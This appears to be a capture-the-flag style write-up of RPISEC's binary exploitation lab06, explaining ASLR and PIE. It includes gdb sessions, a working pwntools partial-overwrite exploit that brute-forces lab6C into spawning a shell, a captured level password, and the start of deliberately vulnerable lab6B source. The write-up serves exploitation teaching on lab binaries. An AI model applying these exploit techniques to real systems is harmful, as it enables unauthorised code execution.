RPISEC/MBE: writeup lab06 (ASLR)

The previous lab focused on the subject of return oriented programming in order to circumvent data execution prevention. The next lab described in this writeup introduces ASLR.

The single levels of this lab range from C to A:
–> lab6C
–> lab6B
–> lab6A

Note: ASLR should be enabled by now.


lab6C

In all previous labs ASLR has been disabled. This changes now as we get closer to real-life vulnerabilities.

If ASLR is enabled can be determined by viewing /proc/sys/kernel/randomize_va_space:

gameadmin@warzone:~$ cat /proc/sys/kernel/randomize_va_space
0

There are three possible values:
–> 0: ASLR is disabled.
–> 1: ASLR is partially enabled.
–> 2: ASLR is fully enabled.

In order to enable ASLR the corresponding value has to be set:

gameadmin@warzone:~$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
2

If you want to permanently enable ASLR (persisting reboot) this can be done by setting the value in /etc/sysctl.d/01-disable-aslr.conf:

gameadmin@warzone:~$ vi /etc/sysctl.d/01-disable-aslr.conf
...
kernel.randomize_va_space = 2

After enabling ASLR we can connect to the first level of this lib using the credentials lab6C with the password lab06start:

gameadmin@warzone:~$ sudo ssh lab6C@localhost
[sudo] password for gameadmin:
lab6C@localhost's password: (lab06start)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Last login: Mon Jan 22 05:48:49 2018 from localhost

As in the previous labs we have access to the source code:

lab6C@warzone:/levels/lab06$ cat lab6C.c
/*
Exploitation with ASLR
Lab C

 gcc -pie -fPIE -fno-stack-protector -o lab6C lab6C.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct savestate {
    char tweet[140];
    char username[40];
    int msglen;
} save;

void set_tweet(struct savestate *save );
void set_username(struct savestate * save);

/* debug functionality, not used in production */
void secret_backdoor()
{
    char cmd[128];

    /* reads a command and executes it */
    fgets(cmd, 128, stdin);
    system(cmd);

    return;
}

void handle_tweet()
{
    struct savestate save;

    /* Initialize our save state to sane values. */
    memset(save.username, 0, 40);
    save.msglen = 140;

    /* read a username and tweet from the user */
    set_username(&save);
    set_tweet(&save);

    printf(">: Tweet sent!\n");
    return;
}

void set_tweet(struct savestate *save )
{
    char readbuf[1024];
    memset(readbuf, 0, 1024);

    printf(">: Tweet @Unix-Dude\n");
    printf(">>: ");

    /* read a tweet from the user, safely copy it to struct */
    fgets(readbuf, 1024, stdin);
    strncpy(save->tweet, readbuf, save->msglen);

    return;
}

void set_username(struct savestate * save)
{
    int i;
    char readbuf[128];
    memset(readbuf, 0, 128);

    printf(">: Enter your username\n");
    printf(">>: ");

    /* Read and copy the username to our savestate */
    fgets(readbuf, 128, stdin);
    for(i = 0; i <= 40 && readbuf[i]; i++)
        save->username[i] = readbuf[i];

    printf(">: Welcome, %s", save->username);
    return;
}

int main(int argc, char * argv[])
{

    printf(
    "--------------------------------------------\n" \
    "|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |\n" \
    "--------------------------------------------\n");

    /* make some tweets */
    handle_tweet();

    return EXIT_SUCCESS;
}

What does the program do?
–> The binary is compiled with the flags -pie -fPIE (line 5). This means that the binary contains position independent code (we will get to this later).
–> On lines 12-15 a struct called savestate is defined, containing two strings sizing 140 (tweet) and 40 byte (username) as well as an integer (msglen).
–> On line 22 a function called secret_backdoor is defined which will run an arbitrary system-command. This looks like the function we would like to call.
–> In the main function (line 82) there is basically only a call to handle_tweet (line 91).
–> Within the function handle_tweet (line 33) the struct savestate is instantiated. msglen is set to 140 (line 39).
–> The struct is then passed to set_username (line 42) and set_tweet (line 43).
–> Within the function set_username (line 64) a username is read and stored in save->username (line 75-76).
–> Within the function set_tweet (line 49) a tweet is read and stored in save->tweet (line 59).

Where is the vulnerability within the program?

While the vulnerabilities in the last labs could have been spotted easily, it gets a little bit more difficult in this lab. A good starting point is always the user input. In both set_username and set_tweet the user input is read by a call to fgets. Since the buffer readbuf is long enough, everything seems to be fine with those calls. Within set_tweet the content of readbuf is copied to save->tweet using strncpy. The amount of bytes to copy is limited by the value of save->msglen. Since this value has been initialized with 140 everything seems fine here as long as the value does not change. Within set_username the contents of readbuf are copied byte by byte in a for-loop (lines 75-76). The condition of the for-loop is i <= 40 && readbuf[i]. This means that within the loops last iteration i is 40 if readbuf[i] has not been null before. The size of save->username is only 40 byte and the index of the last byte is 39. Thus there is an overflow in the last iteration when i = 40!

Having a look back at the struct definition on lines 12-15 we can see that the integer save->msglen is stored after the variable username which we can overflow by one byte. Thus the 41th byte we enter will be stored in save->msglen.

As we have already seen save->msglen is used within the function set_tweet to set the amount of bytes to copy from the user input readbuf to the variable save->tweet. Since we can control one byte of save->msglen (the least significant) we can set save->msglen to a maximum of 255. This way we can overflow the whole local struct save and probably overwrite the return address of handle_tweet.

Summing this up we have to:
–> Overflow save->username in order to set save->msglen to a greater value.
–> Overflow save->tweet in order to overwrite the return address of handle_tweet.

Let's start by verifying our assumptions and overwrite the return address using a pattern created with gdb and python:

gdb-peda$ pattern create 300 /tmp/pattern
Writing pattern of 300 chars to filename "/tmp/pattern"
gdb-peda$ ! (python -c 'print("X"*40 + "\xff")'; cat /tmp/pattern) > /tmp/pattern2

The 300 byte pattern will be stored in save->tweet and the prepended line in save->username: 40 bytes + 0xff in order to set save->msglen to 255:

gdb-peda$ ! cat /tmp/pattern2
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX▒
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA...

Now we can run the program in gdb providing the pattern as user input:

gdb-peda$ r < /tmp/pattern2
Starting program: /levels/lab06/lab6C < /tmp/pattern2
--------------------------------------------
|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: >: Welcome, XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX▒>: Tweet @Unix-Dude
>>: >: Tweet sent!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0x41417541 ('AuAA')
ECX: 0xb7772000 (">>: >: Tweet sent!\n", 'X' <repeats 37 times>, "\377>: Tweet @Unix-Dude\n")
EDX: 0xb7768898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x7641415a ('ZAAv')
ESP: 0xbfda7e60 ("AxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267")
EIP: 0x41774141 ('AAwA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41774141
[------------------------------------stack-------------------------------------]
0000| 0xbfda7e60 ("AxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267")
0004| 0xbfda7e64 ("yAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267")
0008| 0xbfda7e68 ("A%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267")
0012| 0xbfda7e6c ("%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267")
0016| 0xbfda7e70 ("BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267")
0020| 0xbfda7e74 ("A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267")
0024| 0xbfda7e78 ("%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267")
0028| 0xbfda7e7c ("-A%(A%DA%;A%)A%EA%aA%0A%FA%\277\264~ڿ$\300y\267\020\243y\267")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41774141 in ?? ()
gdb-peda$ pattern offset $eip
1098334529 found at offset: 196

Great! The instruction pointer (eip) has been successfully overwritten with our pattern. The offset to the return address is 196 byte.

As for now we did not spend any special attention to the fact that ASLR is enabled. This aspect comes into play now since we control eip and need some address we can jump to. We have already noticed that the author of the program kindly implemented a function called secret_backdoor which we would like to call. It should be no problem to determine the address of this function:

gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0x72b <secret_backdoor>

The address of secret_backdoor is 0x72b. Umh? Seems to be a quite small value for an address. Let's compare this to an address of a function from lab5A:

gdb-peda$ p store_number
$1 = {<text variable, no debug info>} 0x8048eae <store_number>

The value 0x8048eae seems to be more adequate for an address.

So what is going on here?

ASLR and PIE

In the last labs Address Space Layout Randomization (ASLR) was disabled and we oftentimes used hard-coded address in order to jump to a specific function within the binary or a shellcode we injected. The goal of ASLR is to harden those kinds of attacks by randomizing the address space layout on every execution of a program. This way we do not know where to jump to even if we control the instruction pointer.

A good example (taken from RPISEC lab slides) to see the impact of ASLR is to run cat a few times and inspect the memory maps:

At first we turn ASLR off to see the changes:

gameadmin@warzone:~$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0

And then inspect the memory maps of cat on multiple runs:

gameadmin@warzone:~$ cat /proc/self/maps
08048000-08053000 r-xp 00000000 fc:00 917517     /bin/cat
08053000-08054000 r--p 0000a000 fc:00 917517     /bin/cat
08054000-08055000 rw-p 0000b000 fc:00 917517     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b7c22000-b7e22000 r--p 00000000 fc:00 136933     /usr/lib/locale/locale-archive
b7e22000-b7e23000 rw-p 00000000 00:00 0
b7e23000-b7fcb000 r-xp 00000000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7fcb000-b7fcd000 r--p 001a8000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7fcd000-b7fce000 rw-p 001aa000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7fce000-b7fd1000 rw-p 00000000 00:00 0
b7fd9000-b7fdb000 rw-p 00000000 00:00 0
b7fdb000-b7fdc000 r-xp 00000000 00:00 0          [vdso]
b7fdc000-b7fde000 r--p 00000000 00:00 0          [vvar]
b7fde000-b7ffe000 r-xp 00000000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b7ffe000-b7fff000 r--p 0001f000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b7fff000-b8000000 rw-p 00020000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
gameadmin@warzone:~$ cat /proc/self/maps
08048000-08053000 r-xp 00000000 fc:00 917517     /bin/cat
08053000-08054000 r--p 0000a000 fc:00 917517     /bin/cat
08054000-08055000 rw-p 0000b000 fc:00 917517     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b7c22000-b7e22000 r--p 00000000 fc:00 136933     /usr/lib/locale/locale-archive
b7e22000-b7e23000 rw-p 00000000 00:00 0
b7e23000-b7fcb000 r-xp 00000000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7fcb000-b7fcd000 r--p 001a8000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7fcd000-b7fce000 rw-p 001aa000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7fce000-b7fd1000 rw-p 00000000 00:00 0
b7fd9000-b7fdb000 rw-p 00000000 00:00 0
b7fdb000-b7fdc000 r-xp 00000000 00:00 0          [vdso]
b7fdc000-b7fde000 r--p 00000000 00:00 0          [vvar]
b7fde000-b7ffe000 r-xp 00000000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b7ffe000-b7fff000 r--p 0001f000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b7fff000-b8000000 rw-p 00020000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
...

It is not so good to see in the listing here but on every run of cat the memory addresses stay the same.

Now we enabled ASLR:

gameadmin@warzone:~$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
2

And try the same again:

gameadmin@warzone:~$ cat /proc/self/maps
08048000-08053000 r-xp 00000000 fc:00 917517     /bin/cat
08053000-08054000 r--p 0000a000 fc:00 917517     /bin/cat
08054000-08055000 rw-p 0000b000 fc:00 917517     /bin/cat
0897e000-0899f000 rw-p 00000000 00:00 0          [heap]
b7333000-b7533000 r--p 00000000 fc:00 136933     /usr/lib/locale/locale-archive
b7533000-b7534000 rw-p 00000000 00:00 0
b7534000-b76dc000 r-xp 00000000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b76dc000-b76de000 r--p 001a8000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b76de000-b76df000 rw-p 001aa000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b76df000-b76e2000 rw-p 00000000 00:00 0
b76ea000-b76ec000 rw-p 00000000 00:00 0
b76ec000-b76ed000 r-xp 00000000 00:00 0          [vdso]
b76ed000-b76ef000 r--p 00000000 00:00 0          [vvar]
b76ef000-b770f000 r-xp 00000000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b770f000-b7710000 r--p 0001f000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b7710000-b7711000 rw-p 00020000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
bf87f000-bf8a0000 rw-p 00000000 00:00 0          [stack]
gameadmin@warzone:~$ cat /proc/self/maps
08048000-08053000 r-xp 00000000 fc:00 917517     /bin/cat
08053000-08054000 r--p 0000a000 fc:00 917517     /bin/cat
08054000-08055000 rw-p 0000b000 fc:00 917517     /bin/cat
0868d000-086ae000 rw-p 00000000 00:00 0          [heap]
b7357000-b7557000 r--p 00000000 fc:00 136933     /usr/lib/locale/locale-archive
b7557000-b7558000 rw-p 00000000 00:00 0
b7558000-b7700000 r-xp 00000000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7700000-b7702000 r--p 001a8000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7702000-b7703000 rw-p 001aa000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7703000-b7706000 rw-p 00000000 00:00 0
b770e000-b7710000 rw-p 00000000 00:00 0
b7710000-b7711000 r-xp 00000000 00:00 0          [vdso]
b7711000-b7713000 r--p 00000000 00:00 0          [vvar]
b7713000-b7733000 r-xp 00000000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b7733000-b7734000 r--p 0001f000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b7734000-b7735000 rw-p 00020000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
bfdb5000-bfdd6000 rw-p 00000000 00:00 0          [stack]
...

The highlighted addresses have changed. These addresses include:
–> the stack
–> the heap
–> libraries (libc, ld, ...)

This means that we cannot jump to a pre-calculated address on the stack where our shellcode is stored or to the address of system in the libc like we did in lab5C.

What did not changed are the addresses of the memory maps of the binary itself. As for cat these are constantly stored between 0x08048000 and 0x08055000.

This is where Position Independent Executables (PIE) comes into play.

In order to compile a program to contain position independent code the gcc flags -pie -fPIE can be used just like shown in the source code of this level:

 gcc -pie -fPIE -fno-stack-protector -o lab6C lab6C.c

Let's have a look at the memory maps when running the lab6C binary.

I used two terminals. One to run the program:

lab6C@warzone:/levels/lab06$ ./lab6C
--------------------------------------------
|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |
--------------------------------------------
>: Enter your username
>>:

And the other to inspect the memory maps on multiple runs:

gameadmin@warzone:~$ sudo cat /proc/$(sudo pidof lab6C)/maps
b75cf000-b75d0000 rw-p 00000000 00:00 0
b75d0000-b7778000 r-xp 00000000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7778000-b777a000 r--p 001a8000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b777a000-b777b000 rw-p 001aa000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b777b000-b777e000 rw-p 00000000 00:00 0
b7784000-b7788000 rw-p 00000000 00:00 0
b7788000-b7789000 r-xp 00000000 00:00 0          [vdso]
b7789000-b778b000 r--p 00000000 00:00 0          [vvar]
b778b000-b77ab000 r-xp 00000000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b77ab000-b77ac000 r--p 0001f000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b77ac000-b77ad000 rw-p 00020000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b77ad000-b77ae000 r-xp 00000000 fc:00 922466     /levels/lab06/lab6C
b77ae000-b77af000 r--p 00000000 fc:00 922466     /levels/lab06/lab6C
b77af000-b77b0000 rw-p 00001000 fc:00 922466     /levels/lab06/lab6C
bfb17000-bfb38000 rw-p 00000000 00:00 0          [stack]
gameadmin@warzone:~$ sudo cat /proc/$(sudo pidof lab6C)/maps
b758c000-b758d000 rw-p 00000000 00:00 0
b758d000-b7735000 r-xp 00000000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7735000-b7737000 r--p 001a8000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7737000-b7738000 rw-p 001aa000 fc:00 401847     /lib/i386-linux-gnu/libc-2.19.so
b7738000-b773b000 rw-p 00000000 00:00 0
b7741000-b7745000 rw-p 00000000 00:00 0
b7745000-b7746000 r-xp 00000000 00:00 0          [vdso]
b7746000-b7748000 r--p 00000000 00:00 0          [vvar]
b7748000-b7768000 r-xp 00000000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b7768000-b7769000 r--p 0001f000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b7769000-b776a000 rw-p 00020000 fc:00 401849     /lib/i386-linux-gnu/ld-2.19.so
b776a000-b776b000 r-xp 00000000 fc:00 922466     /levels/lab06/lab6C
b776b000-b776c000 r--p 00000000 fc:00 922466     /levels/lab06/lab6C
b776c000-b776d000 rw-p 00001000 fc:00 922466     /levels/lab06/lab6C
bfc3d000-bfc5e000 rw-p 00000000 00:00 0          [stack]
...

This time all memory addresses changed. Even the addresses of the binary itself. That is also why the address for the function secret_backdoor was only 0x72b. The final address can only be determined after running the program:

gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0x72b <secret_backdoor>
gdb-peda$ r
Starting program: /levels/lab06/lab6C
--------------------------------------------
|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: ^C
Program received signal SIGINT, Interrupt.
...
gdb-peda$ p secret_backdoor
$2 = {<text variable, no debug info>} 0xb776e72b <secret_backdoor>

PIE is not enabled by default since there is an overhead executing position independent code. While it is necessary for shared libraries, most binaries are actually not compiled as PIE. One example we have already seen (cat):

lab6C@warzone:/levels/lab06$ checksec /bin/cat
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     3    9/bin/cat

lab6C@warzone:/levels/lab06$ checksec lab6C
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No      0    8lab6C

Summing it up the following memory maps are randomized when ASLR is enabled:
–> the stack
–> the heap
–> libraries (libc, ld, ...)

When the binary is compiled as PIE the following memory maps are additionally randomized:
–> main binary (.text, .plt, .got, .rodata, ...)

final exploit

With this in mind we can now proceed constructing our exploit for this level.

We have already figured out, that the return address of the function handle_tweet is stored at offset 196 from the buffer save->tweet.

Let's first inspect the return address and the address of the function we want to jump to (secret_backdoor) on multiple runs in order to understand the impact of ASLR and PIE:

gdb-peda$ disassemble handle_tweet
Dump of assembler code for function handle_tweet:
   ...
   0x000007ea <+112>:   pop    ebx
   0x000007eb <+113>:   pop    ebp
   0x000007ec <+114>:   ret
End of assembler dump.
gdb-peda$ b *handle_tweet+114
Breakpoint 1 at 0x7ec
gdb-peda$ r
Starting program: /levels/lab06/lab6C
--------------------------------------------
|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: aaa
>: Welcome, aaa
>: Tweet @Unix-Dude
>>: bbb
>: Tweet sent!
[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0xb7709000 --> 0x1efc
ECX: 0xb76df000 (">: Tweet sent!\nDude\nme\n", '-' <repeats 21 times>, "\n")
EDX: 0xb76d5898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbf934108 --> 0x0
ESP: 0xbf9340ec --> 0xb770798a (<main+40>:      mov    eax,0x0)
EIP: 0xb77077ec (<handle_tweet+114>:    ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb77077e4 <handle_tweet+106>:       add    esp,0xd4
   0xb77077ea <handle_tweet+112>:       pop    ebx
   0xb77077eb <handle_tweet+113>:       pop    ebp
=> 0xb77077ec <handle_tweet+114>:       ret
   0xb77077ed <set_tweet>:      push   ebp
   0xb77077ee <set_tweet+1>:    mov    ebp,esp
   0xb77077f0 <set_tweet+3>:    push   ebx
   0xb77077f1 <set_tweet+4>:    sub    esp,0x414
[------------------------------------stack-------------------------------------]
0000| 0xbf9340ec --> 0xb770798a (<main+40>:     mov    eax,0x0)
0004| 0xbf9340f0 --> 0xb7707a80 ('-' <repeats 44 times>, "\n|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |\n", '-' <repeats 44 times>)
0008| 0xbf9340f4 --> 0xb7706000 --> 0x20f34
0012| 0xbf9340f8 --> 0xb77079ab (<__libc_csu_init+11>:  add    ebx,0x1655)
0016| 0xbf9340fc --> 0xb76d4000 --> 0x1a9da8
0020| 0xbf934100 --> 0xb77079a0 (<__libc_csu_init>:     push   ebp)
0024| 0xbf934104 --> 0xb76d4000 --> 0x1a9da8
0028| 0xbf934108 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xb77077ec in handle_tweet ()

I set a breakpoint on the ret instruction of handle_tweet, run the program and entered some data. The return address is 0xb770798a.

Let's determine the address of secret_backdoor:

gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0xb770772b <secret_backdoor>

The address of secret_backdoor is 0xb770772b. As the offset of the function is 0x72b, the base address of the memory map is 0xb7707000.

This can be verifying by having a look at /proc/pid/maps again:

gameadmin@warzone:~$ sudo cat /proc/$(sudo pidof lab6C)/maps
...
b7707000-b7708000 r-xp 00000000 fc:00 922466     /levels/lab06/lab6C
b7708000-b7709000 r--p 00000000 fc:00 922466     /levels/lab06/lab6C
b7709000-b770a000 rw-p 00001000 fc:00 922466     /levels/lab06/lab6C
...

If we rerun the program the addresses change:

gdb-peda$ r
Starting program: /levels/lab06/lab6C
...
=> 0xb77447ec <handle_tweet+114>:       ret
   0xb77447ed <set_tweet>:      push   ebp
   0xb77447ee <set_tweet+1>:    mov    ebp,esp
   0xb77447f0 <set_tweet+3>:    push   ebx
   0xb77447f1 <set_tweet+4>:    sub    esp,0x414
[------------------------------------stack-------------------------------------]
0000| 0xbfaacf5c --> 0xb774498a (<main+40>:     mov    eax,0x0)
...
gdb-peda$ p secret_backdoor
$2 = {<text variable, no debug info>} 0xb774472b <secret_backdoor>

Now the return address is 0xb774498a and the function secret_backdoor is located at 0xb774472b.

As you may have noticed, only the last 3 hex digits of the addresses vary (the offset). The randomized base address is the same for both addresses.

When we only overwrite the last 2 bytes (since we cannot overwrite 3 hex digits = 1.5 bytes), the upper 2 bytes will be left untouched and still contain the randomized base address. The 4th hex digit is also random, but since there are only 2^4 = 16 possible values we can just bruteforce this part of the byte.

The following picture illustrates this technique called Partial Overwrite:

In order to overwrite the return address by exactly 2 bytes we can adjust the value for save->msglen to 198 (196 bytes offset + 2 bytes overwrite).

The final python-script expects the random upper 4 bits of the second byte to be zero. The process is relaunched until /bin/sh and the command whoami succeed:

lab6C@warzone:/levels/lab06$ cat /tmp/exploit_lab6C.py
from pwn import *

while True:

  p = process("./lab6C")
  p.recv(200)

  p.sendline("X"*40+"\xc6") # 196 offset + 2 byte partial overwrite = 198 (0xc6)
  p.recv(200)

  expl = "X"*196
  expl += p32(0x072b)
  p.sendline(expl)
  p.sendline("/bin/sh")
  p.sendline("whoami")

  ret = p.recv(200)

  if ("lab6B" in ret):
    p.interactive()
    quit()

After only a few attempts the address matches:

lab6C@warzone:/levels/lab06$ python /tmp/exploit_lab6C.py
[+] Starting program './lab6C': Done
[+] Starting program './lab6C': Done
[+] Starting program './lab6C': Done
[+] Starting program './lab6C': Done
[+] Starting program './lab6C': Done
[+] Starting program './lab6C': Done
[+] Starting program './lab6C': Done
[+] Starting program './lab6C': Done
[*] Switching to interactive mode
$ whoami
lab6B
$ cat /home/lab6B/.pass
p4rti4l_0verwr1tes_r_3nuff

Done 🙂 The password for the next level is p4rti4l_0verwr1tes_r_3nuff.


lab6B

We connecting to the next level using the previously gained credentials lab6B with the password p4rti4l_0verwr1tes_r_3nuff:

gameadmin@warzone:~$ sudo ssh lab6B@localhost
lab6B@localhost's password: (p4rti4l_0verwr1tes_r_3nuff)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------
Last login: Mon Jan 22 16:04:02 2018 from localhost

As usual we start by inspecting the provided source code, which is quite large this time compared to the last labs:

lab6B@warzone:/levels/lab06$ cat lab6B.c
/* compiled with: gcc -z relro -z now -pie -fPIE -fno-stack-protector -o lab6B lab6B.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "utils.h"

ENABLE_TIMEOUT(300)

/* log the user in */
int login()
{
    printf("WELCOME MR. FALK\n");

    /* you win */
    system("/bin/sh");
    return 0;
}

/* doom's super secret password mangling scheme */
void hash_pass(char * password, char * username)
{
    int i = 0;

    /* hash pass with chars of username */
    while(password[i] && username[i])
    {
        password[i] ^= username[i];
        i++;
    }

    /* hash rest of password with a pad char */
    while(password[i])
    {
        password[i] ^= 0x44;
        i++;
    }

    return;
}

/* doom's super secure password read function */
int load_pass(char ** password)
{
    FILE * fd = 0;
    int fail = -1;
    int psize = 0;

    /* open the password file */
    fd = fopen("/home/lab6A/.pass", "r");
    if(fd == NULL)
    {
        printf("Could not open secret pass!\n");
        return fail;
    }

    /* get the size of the password */
    if(fseek(fd, 0, SEEK_END))
    {
        printf("Failed to seek to end of pass!\n");
        return fail;
    }

    psize = ftell(fd);

    if(psize == 0 || psize == -1)
    {
        printf("Could not get pass size!\n");
        return fail;
    }

    /* reset stream */
    if(fseek(fd, 0, SEEK_SET))
    {
        printf("Failed to see to the start of pass!\n");
        return fail;
    }

    /* allocate a buffer for the password */
    *password = (char *)malloc(psize);
    if(password == NULL)
    {
        printf("Could not malloc for pass!\n");
        return fail;
    }

    /* make sure we read in the whole password */
    if(fread(*password, sizeof(char), psize, fd) != psize)
    {
        printf("Could not read secret pass!\n");
        free(*password);
        return fail;
    }

    fclose(fd);

    /* successfully read in the password */
    return psize;
}

int login_prompt(int pwsize, char * secretpw)
{
    char password[32];
    char username[32];
    char readbuff[128];
    int attempts = -3;
    int result = -1;

    /* login prompt loop */
    while(attempts++)
    {
        /* clear our buffers to avoid any sort of data re-use */
        memset(password, 0, sizeof(password));
        memset(username, 0, sizeof(username));
        memset(readbuff, 0, sizeof(readbuff));

        /* safely read username */
        printf("Enter your username: ");
        fgets(readbuff, sizeof(readbuff), stdin);

        /* use safe strncpy to copy username from the read buffer */
        strncpy(username, readbuff, sizeof(username));

        /* safely read password */
        printf("Enter your password: ");
        fgets(readbuff, sizeof(readbuff), stdin);

        /* use safe strncpy to copy password from the read buffer */
        strncpy(password, readbuff, sizeof(password));

        /* hash the input password for this attempt */
        hash_pass(password, username);

        /* check if password is correct */
        if(pwsize > 16 && memcmp(password, secretpw, pwsize) == 0)
        {
            login();
            result = 0;
            break;
        }

        printf("Authentication failed for user %s\n", username);
    }

    return result;
}

int main(int argc, char* argv[])
{
    int pwsize;
    char * secretpw;

    disable_buffering(stdout);

    /* load the secret pass */
    pwsize = load_pass(&secretpw);
    pwsize = pwsize > 32 ? 32 : pwsize;

    /* failed to load password */
